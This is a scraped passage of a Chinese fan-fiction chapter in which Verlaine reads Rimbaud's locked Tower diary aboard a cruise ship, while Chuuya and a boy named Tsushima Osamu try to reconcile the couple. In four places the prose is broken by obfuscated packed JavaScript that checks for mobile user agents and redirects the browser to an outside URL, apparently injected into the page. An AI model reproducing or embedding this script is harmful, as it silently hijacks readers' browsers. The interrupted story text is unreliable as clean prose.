———————————————————— “早安,哥哥,早安,兰波姐姐。” 中原中也依然活力十足,叽叽喳喳地喧闹着, “今天可以去楼下玩吗?我昨天看到楼下有很大的、很大的……” “自助餐厅?” 魏尔伦微笑着猜测,但中原中也摇了摇头,继续用磕磕绊绊的法语描述, “不是,不是吃饭,是玩耍的地方。” “游乐场。” 兰波招招手,中原中也像只小鸟一样蹦跳着凑过去, “对的,是游乐场。” 这个单词有点难,她还没有学到,橘发女孩乖巧地仰起脸,任由兰波把她额前散乱的发丝拨到一侧, “兰波姐姐陪我一起去吧?” “好。” 兰波肯定的回应让魏尔伦愣了下,他侧过脸,小声提醒, “楼下的海风很大,会很冷。” “嗯。” 兰波笑了笑,语气平静地回应, “我会多穿点的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015648|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “……” 魏尔伦抿抿嘴,把桌上的海鲜药膳粥又挑了一遍,确保贝类的壳全都去干净后,才小心地推到兰波面前, “兰——” “——谢谢。” 兰波接过粥,礼貌道谢,然后拿起勺子,温和地询问中原中也, “中也要喝吗?” …… 中原中也偷偷瞅了眼兄长,又悄悄抬眸看了眼兰波, “我不、我喝——我不喝?” “喝不惯药味儿吗?” 兰波叹着气,推开面前的粥,把属于橘发女孩的那碗普通海鲜粥端过来,搅了两下, “那还是喝这个吧。” “嗯嗯嗯。” 中原中也忙不迭地端住粥碗, “我回屋喝!刚好可以看会儿电视!” 直到小孩的身影彻底消失,魏尔伦都没如之前一样皱着眉批评妹妹“这样做不礼貌”,他又固执地把那碗粥重新推回兰波面前, “兰波,喝粥。” 不是讨厌她吗?这么在意她喝不喝粥做什么? 兰波垂眸,漆黑的睫羽掩盖住所有情绪, “不是很饿,保罗喝了吧。” 说完,她就站起身,准备换身更厚实点的衣服,然而还没走一步,手腕就已经被死死扣住,转过头时,映入眼帘的是隐隐泛红的眼眶,和写满委屈疑惑的蓝眸, “兰波?你不开心吗?是因为我昨天没信守承诺不进去吗?” “……” 很诚恳的道歉,兰波现在只庆幸中原中也回了卧室,她提起一口气,想要教育的话含在嘴里,又重新咽回去——她也不自觉变得幼稚了。 她本该像昨晚想好的那样,装作什么都没发生,等游轮到达美国,就找机会直接离开,再独自回法国的。 而不是情绪外露到这种地步,像个赌气的孩子。 “兰波?” 魏尔伦没有等到回应,干脆将她扯进怀里,圈住她的腰,仰起脸继续道歉, “对不起,我下次不会了。” …… 没有下次了! 兰波恨恨地磨磨牙,最终还是喝光了那碗粥。 ———————————————————— “你哥哥和嫂嫂闹别扭?” “不是嫂嫂……兰波姐姐说不是的。” “嘁,一看就是。” “……反正他们两个好像,昨晚吵架了。” 中原中也没有反驳津岛治的话,因为她也觉得兄长和兰波的关系实在明显到有眼睛就能看出来, “我不想让他们吵架。” 她被夹在中间左右为难啊。 橘发女孩老气横秋地叹了口气,津岛治撇撇嘴,给她出了个主意, “一般大人在情感问题上吵架,要么是不喜欢彼此了——” “——哥哥很喜欢兰波姐姐,兰波姐姐也很喜欢哥哥。” “哦。” 津岛治冷漠地继续说, “那就是他们之间可能有什么秘密造成了误会,你让他们解开误会就行。” “秘密……” 中原中也觉得这个办法有点太为难她一个失忆人士, “我也不知道什么秘密,还有别的方法吗?” “那让你哥哥帮你嫂嫂做一件事,一般来说这样能够缓和矛盾。” 用积极的情感驱赶吵架的负面影响,就像他父亲总是会在吵架之后给母亲送花或者别的什么东西一样,面对外面的那些女人时用的也是同样的伎俩。 “哦——我知道了!” 中原中也兴奋地拍拍黑发男孩的肩膀, “谢谢你,津岛——治,我以后叫你治可以吗?你也可以直接喊我中也。” “……可以。” 津岛治别别扭扭地应下,又有些好奇地询问, “你想到了什么东西?” “唔。” 中原中也眨眨眼, “是一个兰波姐姐很宝贝的本子,她没说不能给别人看,而且她自己打不开。” 那她拿给哥哥,让哥哥帮忙打开的话,兰波姐姐是不是就不会跟哥哥闹别扭了? 21.健康且扭曲的脑回路 帮哥哥和兰波姐姐和好第一步——先把兰波姐姐支走。 不过好像用不到了? 中原中也悄悄摸摸地推开房门,往客厅瞄了一眼,只看到魏尔伦孤零零坐在躺椅上,面朝露台发呆的背影。 “有事吗?中也。” 魏尔伦没有回头,语气听起来倒是很正常,中原中也正打算偷溜进来的脚卡在半空,随后速度缓慢地放下,橘发女孩环顾一周,确实没看到兰波的身影,不过保险起见,她还是放低声音询问了一句, “兰波姐姐呢?” “……” 魏尔伦侧过脸,皮笑肉不笑地回应, “兰波去逛商店了,她说会给你买点小礼物——既然回来了,那就去自己看书吧,中也。” 好、好可怕。 中原中也没见过魏尔伦这样诡异的表情,她惊讶地张张嘴,意识到事情的严重性好像远超自己的想象。 “……哥哥。” 橘发女孩凑到兄长身旁,做贼一样心虚, “我有一个兰波姐姐的小秘密,也许能帮你跟兰波姐姐和好。” “和好?” 魏尔伦蹙起眉头,不明白妹妹在说什么, “我和兰波没有吵架,不需要和好。” 兰波应该只是觉得频率和次数都有点太多了而已——毕竟哪怕让魏尔伦自己思考,也觉得连着两晚,每晚都做到凌晨,确实有点太过纵欲。更何况兰波的身体不好,所以就算她以后真的很想要,自己也应该根据兰波的身体状态适当调整频率,降低次数。 不过,这些事情不是现在的中原中也应该了解的,人造神明没多想,只是用不赞同的眼神看向妹妹,严肃地教育道, “中也,既然是兰波和你之间的秘密,你就应该保密好,不能因为和我关系亲近就随意告诉我,要懂得尊重每个人的隐私,更要明白越亲近就越要保持互相尊重的道理。” 纵然是曾经的兰波,也会给予他独立的个人空间,除了在“人类”话题上的争论以外,都会尽量尊重他的想法。 “哦……” 中原中也似懂非懂地点点头,紧跟着又摇摇头, “可这个不能算是我和兰波姐姐之间的秘密,兰波姐姐也没有说不能告诉别人。我觉得她可能是认为哥哥也没办法打开,才会不提起的。” ??? 什么叫作他没办法打开? 魏尔伦终于提起一丝兴趣, “打开什么?” “打开一个锁住的笔记本——哥哥还记得当时我们去帮兰波姐姐拿家里的东西吗?当时碰到了芥川他们,啊,反正就是那个时候,兰波姐姐从一个小柜子里拿出来的。” 橘发女孩尽可能详尽地描述着, “一个黑色的笔记本,右上角写着四个金色的字母,唔……好像是……” “……DGSS?” “啊!对,是DGSS,哥哥见过那个笔记本了?” 魏尔伦没见过,但他能猜出来——DGSS,是他的第二任东家,也是兰波的老东家,昵称铁塔,全称法兰西特殊战力总局的官方简称*。 他腾地站起身,脸色变得有些晦暗不定。 如果兰波手上有出自铁塔的笔记本,她是否早就恢复了记忆?是否早就清楚自己的身份?是否早就认出他是谁?从十天前的见面到现在,是否全都是兰波的伪装? 而且,他今早醒来就能察觉到,昨晚的醉酒肯定是兰波有意为之,只是兰波为什么要这样做呢——为了通过那些问题确定他对法国的态度?判断是否需要强行控制他?还是说……测试他的神经系统抵抗性是否依然差得离谱? 魏尔伦脸上的肌肉微微颤抖起来,他盯着妹妹那双和曾经的自己几乎一模一样,只是颜色更深一些的钴蓝色眸子,沉声质问, “你确定兰波没有打开那个笔记本?” 尽管人造神明对铁塔的事情并不上心,除了跟着兰波做任务以外就什么都不管不顾,但他好歹也算是个正经的谍报员,作为行动部特殊行动小组的一员,手里同样有过很多铁塔分发的物资。 也正因此,他可以确定,铁塔出品的笔记本没有任何特殊防护效果,不过是个简简单单的本子,用来记录一些普通的东西罢了。 想到这里,魏尔伦咬着牙,又问了两句, “是她当着你的面亲口承认的?还是你也尝试过,确实打不开?” 以兰波的心机,他很难不去怀疑,是否连打不开本子这件事本身,都是对方故意透露给中原中也的破绽——从而能让他依此肯定兰波的失忆,放松警惕,像昨晚醉酒一样,被兰波重新控制住,送回法国,重新成为铁塔的战争机器。 这样想来,今早兰波的生气也显得情有可原。 毕竟和他做.爱不过是一时的缓兵之计,用截然不同的态度让他不起疑心,没想到被不知节制的他弄成那样,差点沉迷其中的失态,对于总要把一切都掌控在自己手里的兰波来说,确实值得气愤。 惊慌、愤怒和不知所措的迷茫在胸腔中乱撞,人造神明的脸色沉得简直能滴出黑水,他飞速思考着——塞给兰波的那张卡里有他转出来的1000万美金,足够兰波随便挥霍或者直接回法国上交,他没有退路,也没有后顾之忧,现在就可以带着中原中也离开。 “哥哥?” 突然被抓住领口拎起来的中原中也惊讶地抬起头,魏尔伦竭力冷静地解释, “我们有急事,现在先走。” “走?” 中原中也茫然地在空中扑棱了两下, “去哪?不等兰波姐姐回来吗?” “……她没失忆,能够照顾好自己。” 也许能吧——真的能吗? 魏尔伦又犹豫起来。 根据名为森鸥外的日本黑医给出的诊断,兰波不仅是两年前爆炸的旧伤迟迟未愈,还有稍显严重的营养不良,他这些天一直在看关于东方式养生的书籍,刚定好一套疗养的计划。如果他现在带着妹妹离开,兰波的计划破灭——任务失利,失踪两年,还弄丢了铁塔的“重要财产”,即便有波德莱尔在,恐怕也没办法让她不受到任何惩罚。 ……或许,他可以抢先一步,把兰波囚禁起来? 突如其来的念头像灼烧柳絮的火焰,飞速侵蚀大脑,人造神明甚至都没想过为什么要囚禁兰波,就开始思考可行性——反正兰波的异能力还未完全恢复,否则不可能这么委曲求全地跟在他身边,他只要假装什么都没发现,在每天的药膳中加入一些影响异能力的……嗯? 一直环绕着身体的异能力消失了,思路也被打断,魏尔伦低下头,看到一个黑漆漆的发顶,和紧贴在他另一只手腕上的一双小手。 “放开中也。” 黑发男孩抬起头,似乎是有点紧张,又似乎自己都不清楚自己为什么会忽然从门口跑过来, “你不能、不能这样带着中也离开。” 他语速极快地解释, “兰波姐姐确实失忆了——她看到很多东西时都会先有一瞬的迷茫,随后才能反应过来这些东西的名称和用法,这是在通过即时记忆激活原有的知识。” 中原中也没太听懂津岛治说的话是什么意思,但明白总之是在给兰波解释,她感激地看了眼津岛治,拼命点头, “对的对的,兰波姐姐就是很多事情都不记得了呀,那个笔记本也是她前两个月才从一个废墟中发现的,因为上面有熟悉的异能力波动,才会被她翻出来——而且我也打不开,我试过的!” “……是吗。” 说不好是庆幸还是失落,魏尔伦姑且放下中原中也,又甩开津岛治的手,将黑发男孩带得踉跄一下, “笔记本在哪里?” 只要看到那个笔记本,他就能明白妹妹和这个有着奇怪异能力的小孩是不是都被兰波骗了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027086|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>———————————————————— 笔记本很好找,兰波似乎确实像中原中也说的一样,并没有隐藏的打算,魏尔伦拉开她上游轮前从不离身的那个挎包,第一眼就看到了那个熟悉的黑色笔记本。 本上的锁扣明显是兰波自己后装的,上面也确实是熟悉的异能力——兰波曾读取过一个异能力效果为封闭和解除封闭的异能力者,那个异能力者可能现在还在彩画集里躺着,只是兰波尚且没有恢复到能召唤他出来的程度,自然也就打不开这个锁扣。 不过,这对当年杀死那名异能力者的魏尔伦并不构成影响。 重力是能够切割空间的,即便是彩画集那种强度的亚空间,也敌不过黑洞的侵蚀,更何况这种仅仅只是概念上“封锁其中空间”的异能力。 魏尔伦的手轻轻拂过锁扣,整个带锁的框架便化为乌有,只余下完好的笔记本,被溜进屋内的海风吹拂着翻开扉页,似乎在诱惑魏尔伦——来看吧。 看一看这个曾经被兰波贴身带着的笔记本里,究竟都写了点什么。 是无趣又详细的日记?是每天心情的记录?还是每个任务的总结与反思? 人造神明的手莫名颤抖起来,他抿着嘴翻了几页——是日记本。 第一页的日期是1994年的年中,应该是兰波正式加入法兰西特殊战力总局,成为谍报员的日子,除了偶尔会出现的诗句一样的感叹以外,大多是不太有趣的记录,篇幅也短得可怕,还跳了很多日期,不过两三页,日期就已经过了两三个月。 魏尔伦目不转睛地看着,读到兰波抱怨特殊作战队的队友都无聊又无用,害他总忍不住用抽烟来排解烦躁,又写下某家的烟斗质量很差,最后从大仲马处获得一处定制店地址时,忍不住弯起唇角*。 兰波在他面前是没有抽过烟的——也许是责任心使然,抑或者单纯觉得没必要再抽,总之没抽过,那支烟斗他倒是见过,在兰波家一楼的棕色斗柜第一层的抽屉中,现在回忆起来,仍旧有点无法想象十四岁到十五岁的兰波。 纤瘦的,穿着厚实风衣,围着围巾戴着帽子,还偏要嘴里叼一根烟斗,满脸写着严肃的兰波。 魏尔伦摇摇头,又往后翻了一页,同样是没什么内容的随手日记——直到1995年的3月30日。 名为“黑之十二号”的人造异能体,被十五岁的“羁风者”救下的那日。 日记的篇幅开始明显变长,每一日都占据整个页面,魏尔伦垂眸,暗暗纠正兰波的错误。 他没有昏迷,只是不想说话也不想睁开眼,而且那个便宜的旅馆,在当时的他看来就像是豪华的别墅。 那之后的几天里,法国政府并不是用“合作”的态度对待他的,他听到过好几次类似“处理”和“销毁”的字眼,毕竟在政府看来,他有些不可控,即便有利用价值,也未必抵得上可能带来的灾祸。 ……保罗·魏尔伦。 人造神明想过很多次这个名字的来源。 随口取的?就像他拼出念作“兰波”的单词一样?还是曾经在某处看到过? 都不对。 心脏砰砰砰地跳动,好像吉维尔疯了似的在冲撞,胸腔抽动着,传来发紧的窒息感,呼吸也被浓稠的空气黏住,魏尔伦张大嘴,急促地喘息起来。 【名字我已经想好了,就叫保罗·魏尔伦】* 【这是我曾经从父母那里得到的,真正的名字】* 【保罗,当你看到我的这本手记的时候,就是你得知自己秘密的时候】* 【上天保佑,那一刻对你来说,是值得祝福的时刻】* 视线很模糊,魏尔伦无暇顾及,他的眼睛、眉毛、嘴巴扭曲在一起,汇聚成不像笑也不像哭的表情。 原来他从一开始就得到了—— 被父母祝福的名字、接受过洗礼的名字、被神明认可的名字。 ——属于人类的名字。 22.和盘托出?no no no 手记上的日期一点一点前进,魏尔伦也跟随着日期一天一天长大。 15岁后半年以及16岁的那些日子里,兰波总在苦恼。 刚出实验室的魏尔伦,还是个脑子里除了重要情报和杀人技巧以外,什么都没有的小人造人,黑发的小谍报员也只能一边送魏尔伦去学习谍报课程,一边自己摸索着教导小搭档身为人类应有的认知。 面上泰然自若应付小搭档千奇百怪问题的同时,又叹着气在日记中写下【保罗总有很多想法,这很可爱,也很令人难以招架——我果然并不适合教导他人吧?】的自我质疑。 不过这种质疑很快也消失了,小人造人的学习能力很强,那时候的铁塔也是个十足的高压环境,紧密的课程连带着套环似的任务,让魏尔伦飞速成长起来。 于是,17岁时的日记篇幅也就重新变短。 除了偶尔无聊地批判同事【像一群没有脑组织的鼹鼠,从不依靠自己的眼睛辨物】以外,兰波记录最多的,是与魏尔伦的争辩。 【今日与保罗争吵一次,我无法理解他为何总自认为非人】 【任务中杀死了三名也许无辜的目击者,他们朝着保罗大喊‘怪物’,也许正是保罗这两天心情低落的原因】 【保罗至今不肯认可自己人类的身份,因此进行了第十九次吵架】 魏尔伦摸着17岁的最后一篇日记,视线停留许久——【希望保罗终有一日能够明白,自他诞生意识的那一刻起,他就已经是拥有灵魂的人类,凭借着自我意志行动,与这点相比,其他的一切都并不重要】 不重要吗? 人造神明下意识反驳,又想起来这不过是兰波四年前落笔写下的文字,他叹了口气,接着往后翻。 平心而论,兰波的日记并不算多么有趣,除了偶尔出现的诗意比喻——还大多是在批判和嘲讽——以外,基本全都是流水账式的记录。 但魏尔伦看得入迷。 18岁的日记里,依然是惯常会有的任务记录和关于魏尔伦的碎碎念,只是碎碎念的东西从魏尔伦的思想变成了魏尔伦的身高。 【保罗今日体检,身高178cm,我则是176cm】 【保罗竟比我高了半个头,许久未曾体检,他难道已有185cm?】 魏尔伦的唇角勾起不甚明显的弧度,他继续往下看,发现有一日竟被标了红。 【保罗今日,提出接吻请求,性.教育应当提上日程】 字体大大的,下笔的力道也明显极重,可以想像得到兰波写下这句话时有多么震惊又茫然。魏尔伦的眉梢眼角虽仍旧都耷拉着,唇边的笑意却再也克制不住。 少年的兰波一如这本手记,一成不变的冷漠表情下,藏着浪漫可爱的灵魂,和偶尔活泼雀跃的情绪——只是谍报员的生活过于沉重,令一切都无从展现。 标着1998年的日期越来越接近末尾,魏尔伦翻动手记的速度也越来越慢。 1999年,魏尔伦与兰波19岁,同年4月,两人接到了一份任务——前往横滨,窃取人形异能体的任务。 右侧的纸张只用了一半,再往后,都是崭新的页面。 这是手记的最后一页了。 魏尔伦一字一字地看着,嘴角的笑意却越来越像嘲弄。 【你的诞生是值得祝福的】* 【有了这顶帽子,保罗就可以离‘拥有自由意志的人类’更进一步】* 【为了搭档,无论前方是何种地狱,我都义无反顾】* 可怜的兰波,可笑的兰波。 他纯粹的祝福,却被亲爱的搭档认定为虚伪的安抚,他的信赖与付出,所换来的,也只是被搭档背叛的痛苦与耻辱。 魏尔伦合上那本手记,静静地眺望天空,群行的海鸟从视野的一头奔向另一头,海风凝滞在重力屏障前,空气也全然冻结。 门外的中原中也托着下巴,看向兄长的背影, “哥哥怎么了?” “被笔记本里的内容吓到了吧。” 津岛治轻哼一声, “与其发呆,不如想想怎么在兰波姐姐回来之前把笔记本恢复原状放回去。” “……” 这黑头发小孩肯定知道他听得见。 伤感的氛围一扫而空,魏尔伦站起身,开始思索要怎么瞒天过海。 ———————————————————— 兰波拎着购物袋回到套房时,屋内一片祥和。 中原中也跟津岛治一起坐在沙发边看法语教学书籍,魏尔伦坐在另一侧沙发上,手里同样捧着一本书。 ……有点太正常了,正常到兰波觉得肯定有哪里不对劲。 不过魏尔伦没给她细想的机会, “都买了什么?” 人造神明听见推门声的那一刻就已经站起身来,两步便迈到门边,先接过兰波手中的购物袋放下,又帮她脱去厚实的外套, “晚餐想吃什么?” “……” 兰波迟疑了一下,如实回答道, “发绳和零食,都可以。” 她确实只买了这两样东西,毕竟魏尔伦定下的套房有着最顶级的服务,在基础物品的提供上也相当充足。但再怎么充足,这些产品也不过是面对所有客户的统一设计,不符合兰波有些针对性的需求。 魏尔伦的发辫要要用到普通的小发圈和丝带,兰波和中原中也平时倒是都披散着头发,可洗漱时老用异能力来隔绝水渍也不是个长远的办法。 至于零食就更简单了,失忆的橘发女孩一开始就对吃饭有着颇高的兴趣,横滨能够买到零食种类有限,游轮上物资丰富,正好可以让中原中也都尝尝鲜。 “哇!谢谢兰波姐姐!” 中原中也已经在吃了,连旁边的津岛治手里都被她塞了一块看起来就很高端的夹心巧克力。 兰波摇摇头, “不用谢,等吃完之后有什么比较喜欢的,到时再重新去买。” “嗯。” 中原中也咽下口中的鱼丸,歪着头看看正在换鞋的兰波,和一直站在兰波身边的魏尔伦, “那我和治到小、小客厅去学习啦?” “是主卧的起居室。” 津岛治默默纠正。 “起居室起居室起居室——” 中原中也一边嘟囔着,一边抱起零食,拉着津岛治溜进通往起居室的门。 “……我先去洗漱一下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036936|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰波不傻,当然看得出来中原中也实在有意给她和魏尔伦提供独处空间,她飞速洗了手,又用水拍拍脸,才走到露台边的沙发旁坐下。 “要聊什么?” 其实魏尔伦也不知道要聊什么,他干脆侧过头,凝视兰波的脸。 身旁的黑发女性比起十天前,似乎稍稍胖了一些,下颌不再是几乎能割破皮肉的锋利,脸颊的轮廓也愈发柔和。唯有那双碧色中掺杂几缕星芒的眼眸,从今早起,就重新覆上了经年累月化不开的冰霜,比十天前重逢时的陌生更加令人生寒。 “……” 兰波以前不是这样的——纵然说出再冷漠的话语,兰波看向他的眼神也总是带有温度的柔和。 魏尔伦忽然有些心慌, “兰波?” “嗯,保罗要聊什么?” “你……” 人造神明开了个头又停下,他站起来,在兰波疑惑的眼神中,凑到兰波身旁,硬生生将自己也挤进那个单人沙发,并把兰波搂紧,才接着往下说, “你……晚上想吃什么?” “……?” 兰波无语地僵住,魏尔伦也意识到这个刚才就问过的问题有点蠢,匆忙补救, “我是说,你不爱吃鱼,但船上没有太新鲜的牛羊肉。” “我没那么娇气。” “……哦。” “……” 空气又沉寂下来,魏尔伦不住地摩挲着兰波的手,从纤细小巧的指尖,到骨节分明的手指,再到薄软的手掌,接着往下——是仍旧有些泛红的枪伤。 感受到那只手又在伤疤处停顿,兰波无奈又好笑地叹息,稍稍侧过脸瞥去,果然在那双湛蓝透彻的宝石上看到了迷蒙的雾气。 明明都摸了这么多次了,怎么每次摸到还是如同第一次一样,像个犯了错后不知所措的孩子。 ——让她怎么狠得下心生气。 “除了这个,没有别的要聊的吗?” “……我。” “你?” “我以后不会了。” “?” “我是说,不会再答应了不进去又进去,不会再你求我慢一点的时候不听——唔!” 兰波狠狠锤了他一下。 魏尔伦闭上嘴,失落地垂眸——他只是不知道该从什么地方开始道歉。 看完兰波的手记后,从举起枪对准兰波时就扎根的负罪感吸饱了充足的营养,顷刻间便生长成蓬勃的巨木,根系牢牢地抓紧心脏,将愧疚与痛苦一并汲取。 兰波曾经那样信任他,却又因这份信任差点失去生命。所以他该将一切都告诉兰波的,不论兰波之后做出什么选择,都是他应得的惩罚。 但魏尔伦不敢。 他发现自己根本没办法应对兰波的冷漠,更遑论直面兰波的恨意。 如果兰波在知晓一切后选择恨他…… 魏尔伦低下头,将脸埋在兰波的颈窝中。 “保罗?” 兰波被他蹭的有些发痒,刚想推他,就感受到雾气凝聚而成的湿润,她的动作定格住,而魏尔伦声音颤抖地恳求, “……不要讨厌我。” “……” “不要……离开我。” 23.坚定的决定 兰波的颈窝成了小小的碗,装下满满一碗实体化的悲伤。 她抬起另一侧的手,轻柔地抚摸魏尔伦灿金色的发顶,但在魏尔伦看不到的地方,那张秀丽的脸上依然是古井无波的平静。 兰波觉得可笑。 搞不清内心真实想法,将愧疚和情欲混合在一起,误认为爱意的魏尔伦很可笑。 被这份虚妄的爱意冲昏头脑,即使现在明了一切,也仍旧无法对魏尔伦狠心的自己更加可笑。 她在用男性身份与这个漂亮笨蛋做搭档时大概真的很不近人情,才会让对方在失去意识的情况下都喃喃出“我讨厌他”的答案。 而她在第一次见到魏尔伦时心中的悸动或许也并不是爱,是惊讶?是愤怒?还是身体本能残留的恐惧?能令人心跳加速的情绪太多太多,为什么就一定会是爱呢? ——为什么不能是爱呢? 错误的种子只能开出可怜又酸涩的果实,苦味儿自胃部发酵,蔓延向上,封闭唇舌。兰波不想说话,也没有说,她沉默了太久,沉默到魏尔伦的心脏愈发慌乱,他直接将怀中轻巧纤瘦的身体抱起来转了半圈,好直视那双绿眸, “兰波?” 人造神明的声音带着一缕嘶哑, “别——” “嗯。” 兰波微笑起来,选择性地给出一个魏尔伦会满意,她也并不违心地回答, “我不会讨厌你的。” 她跪坐起来,捧着魏尔伦的脸,眸中坚冰消散,只余下人造神明熟悉的温和, “倒是你,别再哭了,保罗。” 黑发女性轻轻叹息, “我只是早上有些难受,才会生闷气而已,这点是我不对——保罗以后也要注意克制,好吗?” “……” 有哪里不太对劲,可魏尔伦说不上来,他小心翼翼地侧着脸,吻了吻兰波的掌心, “好。” ———————————————————— “你说,兰波姐姐会生气吗?” 中原中也把声音压得很低,生怕被外面的两人听到, “哥哥只是把笔记本放回去了而已,根本没有做什么伪装,万一兰波姐姐看到之后生气了怎么办呀?” “不是你说的,如果你哥能打开笔记本,兰波姐姐就会开心的吗?” 津岛治打了个哈欠, “而且,那个笔记本里记录的应该没什么不好的东西,就算真的被兰波姐姐看到应该也无所谓。更何况,她最近不回去检查那个包的。” 笔记本在挎包的里层,兰波又把挎包放在了手提箱中,不难分析出她目前没有打开笔记本的想法,而笔记本处于这样一个她认为安全的地方,更没有必要每天检查。 “也就是说,等兰波姐姐发现的时候,肯定都过去好几天了?” 中原中也被津岛治的哈欠带得也有些困,她半眯着眼睛,合上手中的法语启蒙书, “算了,反正、反正……如果兰波姐姐生气的话,我就去跟她说,全都是我的主意,不关哥哥的事,让她不要生哥哥的气。” “嗯嗯嗯……” 下午的阳光透过露台晒进来,滤掉一层热意后,只剩下舒适的温暖,津岛治很久没这么放松地瘫在沙发上过,连声音都迷糊起来, “兰波、姐姐,她不会生气……只会……” 直接走掉——即使只见过两面,黑发男孩也看得出那个高挑纤细的女性实际上有多么决然。 但中原中也看不出来,她回忆了一下和兰波的相处,不由得叹息, “兰波姐姐还是太温柔了,她确实不太会生气……” 橘发女孩往旁边蹭了蹭,抱住柔软的靠枕, “晚安、不对、下午安。” “……” 津岛治睡着了。 等两个小孩再醒来时,已经是晚饭时间,魏尔伦和兰波的相处也像是回到了一天之前,晚餐是人造神明下午特意预定的新鲜牛肉,空运来后没有交给游轮的厨师,而是由他自己亲手制作。 “哇……这是炖牛肉吗?” 中原中也踮起脚,努力瞄着锅里尚且“咕嘟咕嘟”冒泡的红色汤汁,连钴蓝色的大眼睛都被火光映得通红, “闻起来好香好香。” “是红酒炖牛腩。” 兰波刚洗好盘子,转过头就看到橘发女孩一副嘴馋到不行的模样,好笑地敲敲她的头, “去洗手——带着津岛君一起,他是要留下来吃晚饭吧?” “是的吧。” 中原中也捂住头顶,望向门外的黑发男孩, “治!你要留下来吃完晚饭再回去嘛?” “……” 听到问话,正要离开的津岛治迟疑片刻,拒绝的话还没说出口,中原中也已经自顾自地安排好一切, “你回去能吃什么?感觉不会有哥哥做得好吃,那还是留下来吃完饭再走吧。” 中原中也说得很对——现在这个时间,如果没有“结交贵宾套房客人”的借口,恐怕他回去后能吃到的,只有父亲的责骂。 嗯,如果吃完再回去其实也一样,只是那个中年男人会更生气,可能还会暴跳如雷,露出津岛治很喜欢看到的丑陋崩溃的嘴脸。 想到这里,黑发男孩相当乖巧地点点头,答应了中原中也的邀请。 魏尔伦拿着汤勺的手顿了下,他今天先是感受到兰波有些异常的情绪,接着又意外看到了兰波曾经的手记,一时间愧疚如潮水般淹没所有情绪,竟也忘记探究这人类小孩的特殊能力。 能够消除重力异能的能力——或者,能够消除所有异能的能力? 他瞥了眼津岛治,轻声喊住已经走到门口的妹妹, “中也,你先带津岛君去洗漱。” “好——” 中原中也拉住津岛治,蹦蹦跳跳地朝公用盥洗室走去,直到两个小孩的身影都彻底消失,兰波才疑惑地眨眨眼, “津岛君有什么问题?” “他的异能力。” 魏尔伦搅了下牛腩,汤汁浓稠度已经达到标准,他关上火,将当时的情形隐瞒细节后如实描述, “他碰到我之后,我身上的异能力都消失了。” “……?” 兰波放下盘子,神情惊讶, “异能力消失了?” “是的,就像是我和能量来源的通路被堵塞一样——我无法传达需要动用力量的信息,能量也无法输送。” 与此同时,魏尔伦还有种隐约的感受——如果他开启二阶段以上的形态,津岛治的能力就会失效。不论如何,津岛治的能力确实有消除异能力的效果,人造神明摇摇头,提出猜测, “他的能力可能是类似反异能力的效果——欧洲曾有过相关的研究,但大多都无功而返。” “反、异能力者?” 兰波脑海中突然浮现这样的词汇,她蹙着眉,试图甩开额角突如其来的抽痛, “欧洲……法国?” “加缪。” 魏尔伦顾不得切到一半的牛排,连忙扶住她,小声解释, “别想了——是加缪,法国的一个异能力者。但他的‘局外人’通常情况下只能保证自己不受任何异能力的影响,想要解除他人的异能力,条件很复杂。” “……嗯。” 似乎认识的法国异能力者,突兀想起的法语新词汇。她是法国人这一点应该不会有错,现在唯一还需要确定的,就是她的立场。 浓黑的睫羽颤动几下,兰波仰起脸,露出安抚的笑, “没事了,赶紧把晚餐弄好端出去吧——中也要等急了。” ———————————————————— 把吃得饱饱的中原中也哄睡不是什么难事,一己之力干掉两碗红酒炖牛腩的小孩送别朋友时就已经脑袋昏沉沉,更别提接下来还洗了澡,等躺到床上时,眼皮沉得像挂了大铁球。 兰波不过拍了两下小孩的背,身侧的呼吸声瞬间变得绵长起来,她哑然失笑,又给橘发女孩扯好被子,才关上灯回屋,而魏尔伦等候多时, “胃有不舒服吗?” 今日的晚餐确实美味,兰波也吃了不少,魏尔伦谨记上一次她半夜偷偷吃药的前例,关切地看向黑发女性, “不舒服要告诉我,我准备了药和水。” “嗯。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049300|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 